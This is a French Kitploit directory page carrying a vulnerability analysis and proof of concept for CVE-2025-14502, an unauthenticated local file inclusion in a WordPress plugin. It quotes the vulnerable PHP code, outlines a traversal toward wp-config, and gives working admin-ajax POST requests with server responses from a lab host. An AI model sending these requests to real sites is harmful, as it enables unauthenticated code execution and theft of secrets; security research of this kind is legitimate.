Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
WordPress-News-and-Blog-Designer-Bundle-CVE-2025-14502 — Le plugin News and Blog Designer Bundle pour WordPress, dans toutes les versions jusqu'à 1.1 inclus, présente une vulnérabilité d'inclusion de fichier local via le paramètre template. Cette vulnérabilité permet à un attaquant non authentifié d'inclure et d'exécuter n'importe quel fichier .php sur le serveur, exécutant ainsi tout code PHP contenu dans ces fichiers. Dans les scénarios où le téléversement et l'inclusion de fichiers de type .php sont autorisés, l'attaquant peut exploiter cette vulnérabilité pour contourner les contrôles d'accès, obtenir des données sensibles ou exécuter du code. | Kitploit
Outils/GitHubGitHub/kai-one001/wordpress-news-and-blog-designer-bundle-cve-2025-14502
Analyse des VulnérabilitésAnalyse de CodeExploitationExploitation d'Applications WebSécurité WebTests d'Intrusion
GitHubkai-one001/wordpress-news-and-blog-designer-bundle-cve-2025-14502

WordPress-News-and-Blog-Designer-Bundle-CVE-2025-14502

Voir le dépôt
2il y a 7 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →

À propos

Le plugin News and Blog Designer Bundle pour WordPress, dans toutes les versions jusqu'à 1.1 inclus, présente une vulnérabilité d'inclusion de fichier local via le paramètre template. Cette vulnérabilité permet à un attaquant non authentifié d'inclure et d'exécuter n'importe quel fichier .php sur le serveur, exécutant ainsi tout code PHP contenu dans ces fichiers. Dans les scénarios où le téléversement et l'inclusion de fichiers de type .php sont autorisés, l'attaquant peut exploiter cette vulnérabilité pour contourner les contrôles d'accès, obtenir des données sensibles ou exécuter du code.

Partager

Rapport d'analyse de la vulnérabilité CVE-2025-14502

Résumé de la vulnérabilité

Type de vulnérabilité : Inclusion locale de fichier (Local File Inclusion, LFI)
Version affectée : News and Blog Designer Bundle 1.1 et toutes les versions antérieures
Gravité : Élevée
Complexité de l'attaque : Faible (aucune authentification requise)

Analyse du principe de la vulnérabilité

1. Emplacement de la vulnérabilité

La vulnérabilité principale se trouve dans la méthode nbdb_fetch_more_post() du fichier includes/class-nbdb-ajax.php.

2. Détails de l'audit de code

2.1 Emplacement du code vulnérable

root@kitploit:~
sanitize_text_field(extract( $_POST['shrt_param'] ));

$template_file_path 	= NBDB_DIR . '/view/nbdb-masonry/' . $template . '.php';
$template_file 		= (file_exists($template_file_path)) 	? $template_file_path 	: '';

2.2 Analyse des causes de la vulnérabilité

Problème 1 : Utilisation inappropriée de la fonction extract()

La ligne 31 du code présente un problème grave :

root@kitploit:~
sanitize_text_field(extract( $_POST['shrt_param'] ));
  • La fonction extract() extrait les clés du tableau en tant que noms de variables et leurs valeurs, directement dans la portée courante
  • La valeur de retour de extract() est le nombre de variables extraites avec succès (un entier), et non le tableau lui-même
  • sanitize_text_field() s'attend à recevoir une chaîne, mais ici elle reçoit un entier
  • Par conséquent, cette ligne n'offre en réalité aucune protection de sécurité

Problème 2 : Absence de validation des paramètres

La ligne 33 utilise directement la variable $template pour construire le chemin du fichier :

root@kitploit:~
$template_file_path = NBDB_DIR . '/view/nbdb-masonry/' . $template . '.php';
  • La variable $template provient de extract($_POST['shrt_param']), entièrement contrôlée par l'entrée utilisateur
  • Aucune validation par liste blanche
  • Aucune normalisation du chemin
  • Permet les attaques de traversée de répertoire

Problème 3 : Vérification uniquement de l'existence du fichier

La ligne 34 vérifie uniquement si le fichier existe :

root@kitploit:~
$template_file = (file_exists($template_file_path)) ? $template_file_path : '';
  • file_exists() vérifie seulement l'existence du fichier, ne valide pas la légitimité du chemin
  • Si un attaquant peut contrôler le paramètre $template, il peut utiliser ../ pour traverser les répertoires
  • Finalement, à la ligne 93, include($template_file) est exécuté, conduisant à l'inclusion de fichiers arbitraires

2.3 Comparaison : Implémentation sécurisée dans les fonctions de traitement des shortcodes

Dans shortcodes/class-nbdb-shortcode.php, toutes les fonctions de gestion des shortcodes utilisent une validation par liste blanche :

root@kitploit:~
$template = ($template && (array_key_exists(trim($template), $shortcode_templates))) ? trim($template) : 'template-1';
  • Utilisation de la fonction nbdb_post_template() pour obtenir la liste des modèles autorisés (uniquement template-1 et template-2)
  • Validation par liste blanche avec array_key_exists()
  • Si le modèle n'est pas dans la liste blanche, la valeur par défaut template-1 est utilisée

Cela prouve que le développeur sait comment valider correctement les paramètres, mais a omis cette validation dans la fonction AJAX.

3. Vecteur d'attaque

3.1 Accès non authentifié

root@kitploit:~
add_action( 'wp_ajax_nbdb_fetch_more_post', array($this, 'nbdb_fetch_more_post') );
add_action( 'wp_ajax_nopriv_nbdb_fetch_more_post', array($this, 'nbdb_fetch_more_post') );
  • Les hooks wp_ajax_ et wp_ajax_nopriv_ sont tous deux enregistrés
  • wp_ajax_nopriv_ permet l'accès aux utilisateurs non connectés
  • L'attaquant n'a besoin d'aucune authentification pour exploiter cette vulnérabilité

3.2 Déroulement de l'attaque

  1. L'attaquant envoie une requête POST malveillante à /wp-admin/admin-ajax.php
  2. Définit action=nbdb_fetch_more_post
  3. Injecte une charge utile de traversée de répertoire dans shrt_param[template] (par exemple ../../../../wp-config)
  4. Le serveur exécute extract($_POST['shrt_param']), extrayant template en tant que variable
  5. Construction du chemin : NBDB_DIR . '/view/nbdb-masonry/' . '../../../../wp-config' . '.php'
  6. Si le fichier cible existe, file_exists() retourne true
  7. Exécution de include($template_file), ce qui inclut et exécute le fichier PHP cible

4. Impact de la vulnérabilité

4.1 Conséquences directes

  • Exécution de code : s'il est possible d'inclure un fichier PHP exécutable, cela peut conduire à une exécution de code à distance (RCE)
  • Divulgation d'informations sensibles : possibilité de lire le contenu des fichiers PHP sur le serveur (comme wp-config.php)
  • Élévation de privilèges : dans certaines configurations, peut contourner les contrôles d'accès

4.2 Conditions d'exploitation

  • Le fichier cible doit exister et être lisible
  • Le fichier cible doit avoir l'extension .php (le suffixe .php est codé en dur)
  • Le serveur doit autoriser l'exécution du fichier inclus via include() ; la condition "pouvoir lire" signifie que le fichier PHP inclus doit produire une sortie visible (echo/print/erreur/réponse de protocole), sinon vous ne verrez pas le contenu.

Étapes de validation de la vulnérabilité

1. Construction d'une requête de test

root@kitploit:~
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: 192.168.119.131:8088
Content-Type: application/x-www-form-urlencoded
Content-Length: 214

action=nbdb_fetch_more_post&count=0&paged=1&shrt_param[template]=../../../../../xmlrpc&shrt_param[gridcol]=2&shrt_param[posts_per_page]=1&shrt_param[orderby]=date&shrt_param[order]=DESC&shrt_param[media_size]=large

1.1. Analyse de la réponse

root@kitploit:~
HTTP/1.1 200 OK
Date: Thu, 15 Jan 2026 08:12:33 GMT
Server: Apache/2.4.59 (Debian)
X-Powered-By: PHP/8.2.21
X-Robots-Tag: noindex
X-Content-Type-Options: nosniff
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private
Referrer-Policy: strict-origin-when-cross-origin
X-Frame-Options: SAMEORIGIN
Content-Security-Policy: frame-ancestors 'self';
Connection: close
Vary: Accept-Encoding
Content-Length: 403
Content-Type: text/xml; charset=UTF-8

<?xml version="1.0" encoding="UTF-8"?>
<methodResponse>
  <fault>
    <value>
      <struct>
        <member>
          <name>faultCode</name>
          <value><int>-32700</int></value>
        </member>
        <member>
          <name>faultString</name>
          <value><string>parse error. not well formed</string></value>
        </member>
      </struct>
    </value>
  </fault>
</methodResponse>

2. Construction d'une requête de test

root@kitploit:~
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: 192.168.119.131:8088
Content-Type: application/x-www-form-urlencoded
Content-Length: 270

action=nbdb_fetch_more_post&count=0&paged=1&shrt_param[template]=../../../../../wp-content/themes/twentytwentyfour/patterns/page-home-blogging&shrt_param[gridcol]=2&shrt_param[posts_per_page]=1&shrt_param[orderby]=date&shrt_param[order]=DESC&shrt_param[media_size]=large

2.1. Analyse de la réponse

root@kitploit:~
HTTP/1.1 200 OK
Date: Thu, 15 Jan 2026 08:51:33 GMT
Server: Apache/2.4.59 (Debian)
X-Powered-By: PHP/8.2.21
X-Robots-Tag: noindex
X-Content-Type-Options: nosniff
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private
Referrer-Policy: strict-origin-when-cross-origin
X-Frame-Options: SAMEORIGIN
Content-Security-Policy: frame-ancestors 'self';
Vary: Accept-Encoding
Content-Length: 3185
Content-Type: text/html; charset=UTF-8

{"success":1,"data":"\n<!-- wp:pattern {\"slug\":\"twentytwentyfour\/text-centered-statement-small\"}\t\/-->\n\n<!-- wp:group {\"align\":\"wide\",\"style\":{\"spacing\":{\"margin\":{\"top\":\"0\",\"bottom\":\"0\"},\"padding\":{\"top\":\"var:preset|spacing|40\",\"bottom\":\"var:preset|spacing|40\"}}},\"layout\":{\"type\":\"constrained\"}} -->\n<div class=\"wp-block-group alignwide\" style=\"margin-top:0;margin-bottom:0;padding-top:var(--wp--preset--spacing--40);padding-bottom:var(--wp--preset--spacing--40)\">\n\t<!-- wp:columns {\"align\":\"wide\",\"style\":{\"spacing\":{\"blockGap\":{\"top\":\"1rem\",\"left\":\"1rem\"}}}} -->\n\t<div class=\"wp-block-columns alignwide\">\n\t\t<!-- wp:column {\"width\":\"10%\"} -->\n\t\t<div class=\"wp-block-column\" style=\"flex-basis:10%\">\n\t\t<\/div>\n\t\t<!-- \/wp:column -->\n\n\t\t<!-- wp:column {\"width\":\"60%\"} -->\n\t\t<div class=\"wp-block-column\" style=\"flex-basis:60%\">\n\t\t\t<!-- wp:query {\"query\":{\"perPage\":3,\"pages\":0,\"offset\":0,\"postType\":\"post\",\"order\":\"desc\",\"orderBy\":\"date\",\"author\":\"\",\"search\":\"\",\"exclude\":[],\"sticky\":\"\",\"inherit\":true}} -->\n\t\t\t<div class=\"wp-block-query\">\n\t\t\t\t<!-- wp:post-template -->\n\t\t\t\t<!-- wp:group {\"tagName\":\"article\",\"layout\":{\"type\":\"flex\",\"orientation\":\"vertical\",\"justifyContent\":\"stretch\"}} -->\n\t\t\t\t<article class=\"wp-block-group\">\n\t\t\t\t\t<!-- wp:post-featured-image \/-->\n\n\t\t\t\t\t<!-- wp:post-title {\"isLink\":true,\"fontSize\":\"large\"} \/-->\n\n\t\t\t\t\t<!-- wp:template-part {\"slug\":\"post-meta\"} \/-->\n\n\t\t\t\t<\/article>\n\t\t\t\t<!-- \/wp:group -->\n\n\t\t\t\t<!-- wp:post-excerpt {\"moreText\":\"\",\"excerptLength\":40} \/-->\n\n\t\t\t\t<!-- wp:spacer -->\n\t\t\t\t<div style=\"height:100px\" aria-hidden=\"true\" class=\"wp-block-spacer\">\n\t\t\t\t<\/div>\n\t\t\t\t<!-- \/wp:spacer -->\n\t\t\t\t<!-- \/wp:post-template -->\n\n\t\t\t\t<!-- wp:query-pagination {\"paginationArrow\":\"arrow\",\"layout\":{\"type\":\"flex\",\"justifyContent\":\"space-between\"}} -->\n\t\t\t\t<!-- wp:query-pagination-previous \/-->\n\n\t\t\t\t<!-- wp:query-pagination-numbers \/-->\n\n\t\t\t\t<!-- wp:query-pagination-next \/-->\n\t\t\t\t<!-- \/wp:query-pagination -->\n\n\t\t\t\t<!-- wp:query-no-results -->\n\t\t\t\t<!-- wp:pattern {\"slug\":\"twentytwentyfour\/hidden-no-results\"} \/-->\n\t\t\t\t<!-- \/wp:query-no-results -->\n\t\t\t<\/div>\n\t\t\t<!-- \/wp:query -->\n\t\t<\/div>\n\t\t<!-- \/wp:column -->\n\n\t\t<!-- wp:column {\"width\":\"10%\"} -->\n\t\t<div class=\"wp-block-column\" style=\"flex-basis:10%\">\n\t\t<\/div>\n\t\t<!-- \/wp:column -->\n\n\t\t<!-- wp:column {\"width\":\"30%\"} -->\n\t\t<div class=\"wp-block-column\" style=\"flex-basis:30%\">\n\t\t\t<!-- wp:template-part {\"slug\":\"sidebar\",\"tagName\":\"aside\"} \/-->\n\t\t<\/div>\n\t\t<!-- \/wp:column -->\n\n\t\t<!-- wp:column {\"width\":\"10%\"} -->\n\t\t<div class=\"wp-block-column\" style=\"flex-basis:10%\">\n\t\t<\/div>\n\t\t<!-- \/wp:column -->\n\t<\/div>\n\t<!-- \/wp:columns -->\n<\/div>\n<!-- \/wp:group -->\n\n<!-- wp:pattern {\"slug\":\"twentytwentyfour\/cta-subscribe-centered\"}\t\/-->\n","count":1}
Télécharger l’outil